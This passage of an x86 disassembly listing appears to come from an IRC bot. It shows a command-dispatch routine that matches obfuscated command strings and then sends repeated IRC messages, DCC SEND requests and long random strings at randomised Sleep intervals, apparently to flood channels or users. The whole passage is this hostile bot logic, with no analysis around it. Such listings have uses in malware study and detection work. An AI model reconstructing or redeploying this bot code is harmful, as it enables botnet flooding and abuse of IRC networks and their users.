		cmp	[ebp+arg_4], eax
		mov	[ebp+arg_68], eax
		jle	short loc_40DCB0


loc_40DC6E:				; CODE XREF: sub_40A9FE+32B0j
		mov	eax, [ebp+arg_68]
		mov	eax, [ebx+eax*4]
		test	eax, eax
		jz	short loc_40DCA5
		push	eax
		lea	eax, [ebp+var_E840]
		push	offset aS_1	; " %s"
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_E840]
		push	100h
		push	eax
		lea	eax, [ebp+var_5FC8]
		push	eax
		call	sub_4299E0
		add	esp, 18h


loc_40DCA5:				; CODE XREF: sub_40A9FE+3278j
		inc	[ebp+arg_68]
		mov	eax, [ebp+arg_68]
		cmp	eax, [ebp+arg_4]
		jl	short loc_40DC6E


loc_40DCB0:				; CODE XREF: sub_40A9FE+326Ej
		lea	eax, [ebp+var_5FC8]
		push	eax
		lea	eax, [ebp+var_59BC]
		push	dword ptr [ebx+8]
		push	offset aZyvgp1mxobt0 ; "zyVGp1MxObt0"
		push	offset dword_441098
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_59BC]
		push	eax
		call	sub_42638E
		add	esp, 18h
		call	sub_429B9C
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	dword_437190	; Sleep
		push	dword ptr [ebx+8]
		lea	eax, [ebp+var_59BC]
		push	offset aZyvgp1mxobt0 ; "zyVGp1MxObt0"
		push	offset dword_441088
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_59BC]
		push	eax
		call	sub_42638E
		add	esp, 14h
		call	sub_429B9C
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	dword_437190	; Sleep
		push	dword ptr [ebx+8]
		lea	eax, [ebp+var_59BC]
		push	offset aZyvgp1mxobt0 ; "zyVGp1MxObt0"
		push	offset dword_441088
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_59BC]
		push	eax
		call	sub_42638E
		add	esp, 14h
		call	sub_429B9C
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	dword_437190	; Sleep
		push	dword ptr [ebx+8]
		lea	eax, [ebp+var_59BC]
		push	offset aZyvgp1mxobt0 ; "zyVGp1MxObt0"
		push	offset dword_441088
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_59BC]
		push	eax
		call	sub_42638E
		add	esp, 14h
		call	sub_429B9C
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	dword_437190	; Sleep
		push	dword ptr [ebx+8]
		lea	eax, [ebp+var_59BC]
		push	offset aZyvgp1mxobt0 ; "zyVGp1MxObt0"
		push	offset dword_441074
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_59BC]
		push	eax
		call	sub_42638E
		add	esp, 14h
		call	sub_429B9C
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	dword_437190	; Sleep
		push	dword ptr [ebx+8]
		lea	eax, [ebp+var_59BC]
		push	offset aZyvgp1mxobt0 ; "zyVGp1MxObt0"
		push	offset dword_441064
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_59BC]
		push	eax
		call	sub_42638E
		add	esp, 14h
		call	sub_429B9C
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	dword_437190	; Sleep
		push	dword ptr [ebx+8]
		lea	eax, [ebp+var_59BC]
		push	offset aZyvgp1mxobt0 ; "zyVGp1MxObt0"
		push	offset dword_441064
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_59BC]
		push	eax
		call	sub_42638E
		add	esp, 14h


loc_40DE47:				; CODE XREF: sub_40A9FE+323Fj
					; sub_40A9FE+324Aj
		push	dword ptr [ebx+4]
		push	offset aDqjso_47pdb ; "dQJSO.47pdb/"
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_40DF0E
		cmp	[ebx+8], eax
		jz	loc_40DF0E
		lea	eax, [ebp+var_59BC]
		push	eax
		call	sub_42638E
		push	dword ptr [ebx+8]
		lea	eax, [ebp+var_59BC]
		push	offset aZyvgp1mxobt0 ; "zyVGp1MxObt0"
		push	offset dword_441088
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_59BC]
		push	eax
		call	sub_42638E
		add	esp, 18h
		call	sub_429B9C
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	dword_437190	; Sleep
		push	dword ptr [ebx+8]
		lea	eax, [ebp+var_59BC]
		push	offset aZyvgp1mxobt0 ; "zyVGp1MxObt0"
		push	offset dword_441088
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_59BC]
		push	eax
		call	sub_42638E
		add	esp, 14h
		call	sub_429B9C
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	dword_437190	; Sleep
		push	dword ptr [ebx+8]
		lea	eax, [ebp+var_59BC]
		push	offset aZyvgp1mxobt0 ; "zyVGp1MxObt0"
		push	offset dword_441088
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_59BC]
		push	eax
		call	sub_42638E
		add	esp, 14h


loc_40DF0E:				; CODE XREF: sub_40A9FE+3455j
					; sub_40A9FE+345Ej
		push	dword ptr [ebx+4]
		push	offset aK9vUKkutm ; "K9V/U/KkuTM/"
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_40DFBC
		mov	eax, [ebx+0Ch]
		test	eax, eax
		jz	loc_40DFBC
		push	eax
		lea	eax, [ebp+var_30AC]
		push	offset aS_5	; "%s"
		push	eax
		call	sub_429B03
		add	esp, 0Ch
		push	4
		pop	eax
		cmp	[ebp+arg_4], eax
		mov	[ebp+arg_68], eax
		jle	short loc_40DF8D


loc_40DF4B:				; CODE XREF: sub_40A9FE+358Dj
		mov	eax, [ebp+arg_68]
		mov	eax, [ebx+eax*4]
		test	eax, eax
		jz	short loc_40DF82
		push	eax
		lea	eax, [ebp+var_E840]
		push	offset aS_1	; " %s"
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_E840]
		push	100h
		push	eax
		lea	eax, [ebp+var_30AC]
		push	eax
		call	sub_4299E0
		add	esp, 18h


loc_40DF82:				; CODE XREF: sub_40A9FE+3555j
		inc	[ebp+arg_68]
		mov	eax, [ebp+arg_68]
		cmp	eax, [ebp+arg_4]
		jl	short loc_40DF4B


loc_40DF8D:				; CODE XREF: sub_40A9FE+354Bj
		lea	eax, [ebp+var_30AC]
		push	eax
		lea	eax, [ebp+var_59BC]
		push	dword ptr [ebx+8]
		push	offset aG7IvGks9l1 ; "g7/IV/gks9L1"
		push	offset aSSS	; "%s %s :%s"
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_59BC]
		push	eax
		call	sub_42638E
		add	esp, 18h


loc_40DFBC:				; CODE XREF: sub_40A9FE+351Cj
					; sub_40A9FE+3527j
		push	dword ptr [ebx+4]
		push	offset a7yfnz0pw11s1 ; "7yfnz0PW11s1"
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_40E06A
		mov	eax, [ebx+0Ch]
		test	eax, eax
		jz	loc_40E06A
		push	eax
		lea	eax, [ebp+var_5ABC]
		push	offset aS_5	; "%s"
		push	eax
		call	sub_429B03
		add	esp, 0Ch
		push	4
		pop	eax
		cmp	[ebp+arg_4], eax
		mov	[ebp+arg_68], eax
		jle	short loc_40E03B


loc_40DFF9:				; CODE XREF: sub_40A9FE+363Bj
		mov	eax, [ebp+arg_68]
		mov	eax, [ebx+eax*4]
		test	eax, eax
		jz	short loc_40E030
		push	eax
		lea	eax, [ebp+var_E840]
		push	offset aS_1	; " %s"
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_E840]
		push	100h
		push	eax
		lea	eax, [ebp+var_5ABC]
		push	eax
		call	sub_4299E0
		add	esp, 18h


loc_40E030:				; CODE XREF: sub_40A9FE+3603j
		inc	[ebp+arg_68]
		mov	eax, [ebp+arg_68]
		cmp	eax, [ebp+arg_4]
		jl	short loc_40DFF9


loc_40E03B:				; CODE XREF: sub_40A9FE+35F9j
		lea	eax, [ebp+var_5ABC]
		push	eax
		lea	eax, [ebp+var_59BC]
		push	dword ptr [ebx+8]
		push	offset aLcxMHdpwr1_0 ; "lCX/m/HdpWr1"
		push	offset dword_441058
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_59BC]
		push	eax
		call	sub_42638E
		add	esp, 18h


loc_40E06A:				; CODE XREF: sub_40A9FE+35CAj
					; sub_40A9FE+35D5j
		push	dword ptr [ebx+4]
		push	offset aNq_as1z1sit ; "nQ.As1Z1SIt/"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_40E0A8
		mov	ecx, [ebx+8]
		test	ecx, ecx
		jz	short loc_40E0A8
		mov	eax, [ebx+0Ch]
		test	eax, eax
		jz	short loc_40E0A8
		push	eax
		push	ecx
		lea	eax, [ebp+var_59BC]
		push	offset dword_441048
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_59BC]
		push	eax
		call	sub_42638E
		add	esp, 14h


loc_40E0A8:				; CODE XREF: sub_40A9FE+3678j
					; sub_40A9FE+367Fj ...
		push	dword ptr [ebx+4]
		push	offset aUn3hk0sn58o_0 ;	"uN3hk0sn58o/"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_40E117
		mov	ecx, [ebx+8]
		test	ecx, ecx
		jz	short loc_40E117
		mov	eax, [ebx+0Ch]
		test	eax, eax
		jz	short loc_40E0F0
		push	eax
		push	ecx
		push	offset a5h5br_qpSm1_0 ;	"5H5BR.qp/sm1"
		lea	eax, [ebp+var_59BC]
		push	offset dword_441058
		push	eax
		call	sub_429B03
		add	esp, 14h
		jmp	short loc_40E10A
; ---------------------------------------------------------------------------


loc_40E0E1:				; CODE XREF: sub_40A9FE+2A43j
					; sub_40A9FE+2A4Cj ...
		mov	ebx, offset aFoabg1acvfoOsd ; "fOaBg1ACVfo/osdpb1E0v95."
		mov	edi, offset aXu6cu1p_sn6_6n ; "XU6CU1p.SN6.6N5aw.affEY1"
		jmp	loc_410B5A
; ---------------------------------------------------------------------------


loc_40E0F0:				; CODE XREF: sub_40A9FE+36C4j
		push	ecx
		push	offset a5h5br_qpSm1_0 ;	"5H5BR.qp/sm1"
		lea	eax, [ebp+var_59BC]
		push	offset aSS_1	; "%s %s"
		push	eax
		call	sub_429B03
		add	esp, 10h


loc_40E10A:				; CODE XREF: sub_40A9FE+36E1j
		lea	eax, [ebp+var_59BC]
		push	eax
		call	sub_42638E
		pop	ecx


loc_40E117:				; CODE XREF: sub_40A9FE+36B6j
					; sub_40A9FE+36BDj
		push	dword ptr [ebx+4]
		push	offset aQrn4z10ge1i1_0 ; "QRn4z10ge1I1"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_40E152
		mov	eax, [ebx+8]
		test	eax, eax
		jz	short loc_40E152
		push	eax
		push	offset aYjmlc1btsf10 ; "yJmlc1btsF10"
		lea	eax, [ebp+var_59BC]
		push	offset aSS_1	; "%s %s"
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_59BC]
		push	eax
		call	sub_42638E
		add	esp, 14h


loc_40E152:				; CODE XREF: sub_40A9FE+3725j
					; sub_40A9FE+372Cj
		push	dword ptr [ebx+4]
		push	offset aIegud0v_5_ ; "iEguD0V/.5/."
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_40E195
		mov	ecx, [ebx+8]
		test	ecx, ecx
		jz	short loc_40E195
		mov	eax, [ebx+0Ch]
		test	eax, eax
		jz	short loc_40E195
		push	eax
		push	ecx
		push	offset aYjmlc1btsf10 ; "yJmlc1btsF10"
		lea	eax, [ebp+var_59BC]
		push	offset aSSS	; "%s %s :%s"
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_59BC]
		push	eax
		call	sub_42638E
		add	esp, 18h


loc_40E195:				; CODE XREF: sub_40A9FE+3760j
					; sub_40A9FE+3767j ...
		push	dword ptr [ebx+4]
		push	offset aFc9kk1jx11g_ ; "fc9Kk1jX11G."
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_40E202
		cmp	[ebx+8], eax
		jz	short loc_40E202
		call	dword_437188	; GetTickCount
		push	eax
		call	sub_429B8F
		call	sub_429B9C
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_1F54]
		push	edx
		push	dword ptr [ebx+8]
		push	offset dword_441040
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_1F54]
		push	eax
		push	offset aTugnf_mqsdr0 ; "TuGNF.mQSDR0"
		lea	eax, [ebp+var_59BC]
		push	offset aSS_1	; "%s %s"
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_59BC]
		push	eax
		call	sub_42638E
		add	esp, 28h


loc_40E202:				; CODE XREF: sub_40A9FE+37A3j
					; sub_40A9FE+37A8j
		push	dword ptr [ebx+4]
		push	offset aDnjq8Ze3zw ; "DnjQ8/ze3ZW/"
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_40E356
		mov	eax, [ebx+8]
		test	eax, eax
		jz	loc_40E356
		cmp	dword ptr [ebx+0Ch], 0
		jz	loc_40E356
		push	eax
		push	offset a5h5br_qpSm1_0 ;	"5H5BR.qp/sm1"
		lea	eax, [ebp+var_59BC]
		push	offset aSS_1	; "%s %s"
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_59BC]
		push	eax
		call	sub_42638E
		push	dword ptr [ebx+0Ch]
		lea	eax, [ebp+var_59BC]
		push	dword ptr [ebx+8]
		push	offset aYjmlc1btsf10 ; "yJmlc1btsF10"
		push	offset aSSS	; "%s %s :%s"
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_59BC]
		push	eax
		call	sub_42638E
		add	esp, 2Ch
		call	sub_429B9C
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	dword_437190	; Sleep
		push	dword ptr [ebx+8]
		lea	eax, [ebp+var_59BC]
		push	offset a5h5br_qpSm1_0 ;	"5H5BR.qp/sm1"
		push	offset aSS_1	; "%s %s"
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_59BC]
		push	eax
		call	sub_42638E
		add	esp, 14h
		call	sub_429B9C
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	dword_437190	; Sleep
		push	dword ptr [ebx+0Ch]
		lea	eax, [ebp+var_59BC]
		push	dword ptr [ebx+8]
		push	offset aYjmlc1btsf10 ; "yJmlc1btsF10"
		push	offset aSSS	; "%s %s :%s"
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_59BC]
		push	eax
		call	sub_42638E
		push	dword ptr [ebx+8]
		lea	eax, [ebp+var_59BC]
		push	offset a5h5br_qpSm1_0 ;	"5H5BR.qp/sm1"
		push	offset aSS_1	; "%s %s"
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_59BC]
		push	eax
		call	sub_42638E
		add	esp, 2Ch
		call	sub_429B9C
		cdq
		mov	ecx, 0C8h
		idiv	ecx
		push	edx
		call	dword_437190	; Sleep
		push	dword ptr [ebx+0Ch]
		lea	eax, [ebp+var_59BC]
		push	dword ptr [ebx+8]
		push	offset aYjmlc1btsf10 ; "yJmlc1btsF10"
		push	offset aSSS	; "%s %s :%s"
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_59BC]
		push	eax
		call	sub_42638E
		add	esp, 18h


loc_40E356:				; CODE XREF: sub_40A9FE+3810j
					; sub_40A9FE+381Bj ...
		push	dword ptr [ebx+4]
		push	offset aEwqxaOc1t_ ; "EWqxA//oC1T."
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_40E731
		cmp	[ebx+8], eax
		jz	loc_40E731
		call	dword_437188	; GetTickCount
		push	eax
		call	sub_429B8F
		pop	ecx
		call	sub_429B9C
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 41h
		mov	byte ptr [ebp+arg_68+3], dl
		call	dword_437188	; GetTickCount
		push	eax
		call	sub_429B8F
		pop	ecx
		call	sub_429B9C
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_429B9C
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_429B9C
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_429B9C
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		movsx	eax, byte ptr [ebp+arg_68+3]
		push	edx
		push	eax
		call	sub_429B9C
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_429B9C
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_429B9C
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_429B9C
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_429B9C
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_429B9C
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_429B9C
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_429B9C
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_429B9C
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_429B9C
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_429B9C
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_429B9C
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_429B9C
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_429B9C
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_429B9C
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_429B9C
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_429B9C
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_429B9C
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_429B9C
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_429B9C
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_429B9C
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_429B9C
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_429B9C
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_429B9C
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_429B9C
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_429B9C
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_429B9C
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_429B9C
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_429B9C
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_429B9C
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_429B9C
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_429B9C
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_429B9C
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_429B9C
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_429B9C
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_429B9C
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_429B9C
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_429B9C
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_429B9C
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_429B9C
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		lea	eax, [ebp+var_220C0]
		push	edx
		push	offset dword_440F98
		push	eax
		call	sub_429B03
		push	7D0h
		push	400h
		call	sub_41E415
		add	esp, 0C4h
		push	eax
		lea	eax, [ebp+var_38050]
		push	dword ptr [ebx+8]
		push	offset aZyvgp1mxobt0 ; "zyVGp1MxObt0"
		push	offset dword_440F5C
		push	eax
		call	sub_429B03
		push	7D0h
		push	400h
		call	sub_41E415
		add	esp, 1Ch
		push	eax
		call	sub_429B9C
		cdq
		mov	ecx, 5F5E0FFh
		idiv	ecx
		lea	eax, [ebp+var_3CE70]
		push	edx
		push	dword ptr [ebx+8]
		push	offset aZyvgp1mxobt0 ; "zyVGp1MxObt0"
		push	offset dword_440F10
		push	eax
		call	sub_429B03
		push	7D0h
		push	400h
		call	sub_41E415
		add	esp, 20h
		push	eax
		call	sub_429B9C
		cdq
		mov	ecx, 5F5E0FFh
		idiv	ecx
		push	edx
		push	dword ptr [ebx+8]
		push	offset aZyvgp1mxobt0 ; "zyVGp1MxObt0"
		lea	eax, [ebp+var_41C90]
		push	offset dword_440EE0
		push	eax
		call	sub_429B03
		push	7D0h
		push	400h
		call	sub_41E415
		push	eax
		lea	eax, [ebp+var_220C0]
		push	eax
		lea	eax, [ebp+var_46AB0]
		push	dword ptr [ebx+8]
		push	offset aZyvgp1mxobt0 ; "zyVGp1MxObt0"
		push	offset dword_440EBC
		push	eax
		call	sub_429B03
		add	esp, 38h
		call	sub_426323
		push	eax
		lea	eax, [ebp+var_220C0]
		push	eax
		call	sub_426323
		push	eax
		lea	eax, [ebp+var_4B8D0]
		push	dword ptr [ebx+8]
		push	offset aG7IvGks9l1 ; "g7/IV/gks9L1"
		push	offset dword_440EA4
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_220C0]
		push	eax
		lea	eax, [ebp+var_506F0]
		push	dword ptr [ebx+8]
		push	offset aZyvgp1mxobt0 ; "zyVGp1MxObt0"
		push	offset aSSDccSendCS ; "%s %s :DCC SEND C:\\\\\\\\%s"
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_38050]
		push	eax
		call	sub_42638E
		lea	eax, [ebp+var_3CE70]
		push	eax
		call	sub_42638E
		lea	eax, [ebp+var_41C90]
		push	eax
		call	sub_42638E
		lea	eax, [ebp+var_46AB0]
		push	eax
		call	sub_42638E
		add	esp, 40h
		lea	eax, [ebp+var_4B8D0]
		push	eax
		call	sub_42638E
		lea	eax, [ebp+var_506F0]
		push	eax
		call	sub_42638E
		pop	ecx
		pop	ecx


loc_40E731:				; CODE XREF: sub_40A9FE+3964j
					; sub_40A9FE+396Dj
		push	dword ptr [ebx+4]
		push	offset aJiatz0xsump1 ; "JIAtz0xSuMp1"
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_40E82E
		cmp	[ebx+8], eax
		jz	loc_40E82E
		call	dword_437188	; GetTickCount
		push	eax
		call	sub_429B8F
		push	0Fh
		mov	esi, offset aAbcdefghijklmn ; "abcdefghijklmnopqrstuvwxyz1234567890abc"...
		pop	ecx
		lea	edi, [ebp+var_768]
		rep movsd
		movsw
		movsb
		mov	esi, 2710h
		lea	eax, [ebp+var_66680]
		push	esi
		push	0
		push	eax
		call	sub_429760
		push	esi
		lea	eax, [ebp+var_35940]
		push	0
		push	eax
		call	sub_429760
		add	esp, 1Ch
		mov	esi, 8Fh


loc_40E796:				; CODE XREF: sub_40A9FE+3DE6j
		call	dword_437188	; GetTickCount
		push	eax
		call	sub_429B8F
		call	sub_429B9C
		push	24h
		cdq
		pop	ecx
		idiv	ecx
		movsx	eax, [ebp+edx+var_768]
		push	eax
		push	offset dword_440E84
		lea	eax, [ebp+var_66680]
		push	2710h
		push	eax
		call	sub_429BBE
		add	esp, 14h
		lea	eax, [ebp+var_66680]
		push	eax
		lea	eax, [ebp+var_35940]
		push	eax
		call	dword_437090	; lstrcatA
		dec	esi
		jnz	short loc_40E796
		push	7D0h
		push	400h
		call	sub_41E415
		push	eax
		lea	eax, [ebp+var_35940]
		push	eax
		lea	eax, [ebp+var_55510]
		push	dword ptr [ebx+8]
		push	offset aZyvgp1mxobt0 ; "zyVGp1MxObt0"
		push	offset dword_440E5C
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_55510]
		push	eax
		call	sub_42638E
		mov	esi, [ebp+arg_C]
		mov	edi, dword_437178
		add	esp, 24h


loc_40E82E:				; CODE XREF: sub_40A9FE+3D3Fj
					; sub_40A9FE+3D48j
		push	dword ptr [ebx+4]
		push	offset aVi0qa1mvfro1 ; "VI0QA1mvfro1"
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_40E91A
		cmp	[ebx+8], eax
		jz	loc_40E91A
		cmp	[ebx+0Ch], eax
		jz	loc_40E91A
		push	2710h
		push	eax
		lea	eax, [ebp+var_52E00]
		push	eax
		call	sub_429760
		push	104h
		lea	eax, [ebp+var_2EA8]
		push	0
		push	eax
		call	sub_429760
		push	dword ptr [ebx+0Ch]
		lea	eax, [ebp+var_2EA8]
		push	offset aS_5	; "%s"
		push	eax
		call	sub_429B03
		add	esp, 24h
		push	4
		pop	eax
		cmp	[ebp+arg_4], eax
		mov	[ebp+arg_C], eax
		jle	short loc_40E8DB


loc_40E899:				; CODE XREF: sub_40A9FE+3EDBj
		mov	eax, [ebp+arg_C]
		mov	eax, [ebx+eax*4]
		test	eax, eax
		jz	short loc_40E8D0
		push	eax
		lea	eax, [ebp+var_52E00]
		push	offset aS_1	; " %s"
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_52E00]
		push	104h
		push	eax
		lea	eax, [ebp+var_2EA8]
		push	eax
		call	sub_4299E0
		add	esp, 18h


loc_40E8D0:				; CODE XREF: sub_40A9FE+3EA3j
		inc	[ebp+arg_C]
		mov	eax, [ebp+arg_C]
		cmp	eax, [ebp+arg_4]
		jl	short loc_40E899


loc_40E8DB:				; CODE XREF: sub_40A9FE+3E99j
		push	7D0h
		push	400h
		call	sub_41E415
		push	eax
		lea	eax, [ebp+var_2EA8]
		push	eax
		lea	eax, [ebp+var_5A330]
		push	dword ptr [ebx+8]
		push	offset aZyvgp1mxobt0 ; "zyVGp1MxObt0"
		push	offset dword_440E5C
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_5A330]
		push	eax
		call	sub_42638E
		add	esp, 24h


loc_40E91A:				; CODE XREF: sub_40A9FE+3E3Cj
					; sub_40A9FE+3E45j ...
		push	dword ptr [ebx+4]
		push	offset aW3gp6_13acy1 ; "W3GP6.13AcY1"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_40E960
		lea	eax, [ebp+var_21F8]
		push	eax
		call	sub_426761
		lea	eax, [ebp+var_21F8]
		push	eax
		push	offset aTugnf_mqsdr0 ; "TuGNF.mQSDR0"
		lea	eax, [ebp+var_59BC]
		push	offset aSS_1	; "%s %s"
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_59BC]
		push	eax
		call	sub_42638E
		add	esp, 18h


loc_40E960:				; CODE XREF: sub_40A9FE+3F28j
		push	dword ptr [ebx+4]
		push	offset aE8qiq0hukv9 ; "e8qiq0Hukv9/"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_40E9D0
		mov	eax, [ebx+8]
		test	eax, eax
		jz	short loc_40E9D0
		push	eax
		push	offset a5h5br_qpSm1_0 ;	"5H5BR.qp/sm1"
		lea	eax, [ebp+var_59BC]
		push	offset aSS_1	; "%s %s"
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_59BC]
		push	eax
		call	sub_42638E
		lea	eax, [ebp+var_2268]
		push	eax
		call	sub_426761
		lea	eax, [ebp+var_2268]
		push	eax
		push	offset aTugnf_mqsdr0 ; "TuGNF.mQSDR0"
		lea	eax, [ebp+var_59BC]
		push	offset aSS_1	; "%s %s"
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_59BC]
		push	eax
		call	sub_42638E
		add	esp, 2Ch


loc_40E9D0:				; CODE XREF: sub_40A9FE+3F6Ej
					; sub_40A9FE+3F75j
		push	dword ptr [ebx+4]
		push	offset a18rjk_sa2je ; "18Rjk.sa2JE/"
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_40EAA0
		cmp	[ebx+8], eax
		jz	loc_40EAA0
		mov	eax, [ebx+0Ch]
		test	eax, eax
		jz	loc_40EAA0
		and	[ebp+arg_C], 0
		push	eax
		call	sub_42A100
		test	eax, eax
		pop	ecx
		jle	loc_40EAA0


loc_40EA09:				; CODE XREF: sub_40A9FE+409Cj
		push	dword ptr [ebx+8]
		lea	eax, [ebp+var_59BC]
		push	offset a5h5br_qpSm1_0 ;	"5H5BR.qp/sm1"
		push	offset aSS_1	; "%s %s"
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_59BC]
		push	eax
		call	sub_42638E
		lea	eax, [ebp+var_1F8C]
		push	eax
		call	sub_426761
		lea	eax, [ebp+var_1F8C]
		push	eax
		push	offset aTugnf_mqsdr0 ; "TuGNF.mQSDR0"
		lea	eax, [ebp+var_59BC]
		push	offset aSS_1	; "%s %s"
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_59BC]
		push	eax
		call	sub_42638E
		push	dword ptr [ebx+8]
		lea	eax, [ebp+var_59BC]
		push	offset aYjmlc1btsf10 ; "yJmlc1btsF10"
		push	offset aSS_1	; "%s %s"
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_59BC]
		push	eax
		call	sub_42638E
		add	esp, 40h
		inc	[ebp+arg_C]
		push	dword ptr [ebx+0Ch]
		call	sub_42A100
		cmp	[ebp+arg_C], eax
		pop	ecx
		jl	loc_40EA09


loc_40EAA0:				; CODE XREF: sub_40A9FE+3FDEj
					; sub_40A9FE+3FE7j ...
		push	dword ptr [ebx+4]
		push	offset aLjAmKzrtp1 ; "lJ/am/kZRtP1"
		call	edi ; dword_437178
		test	eax, eax
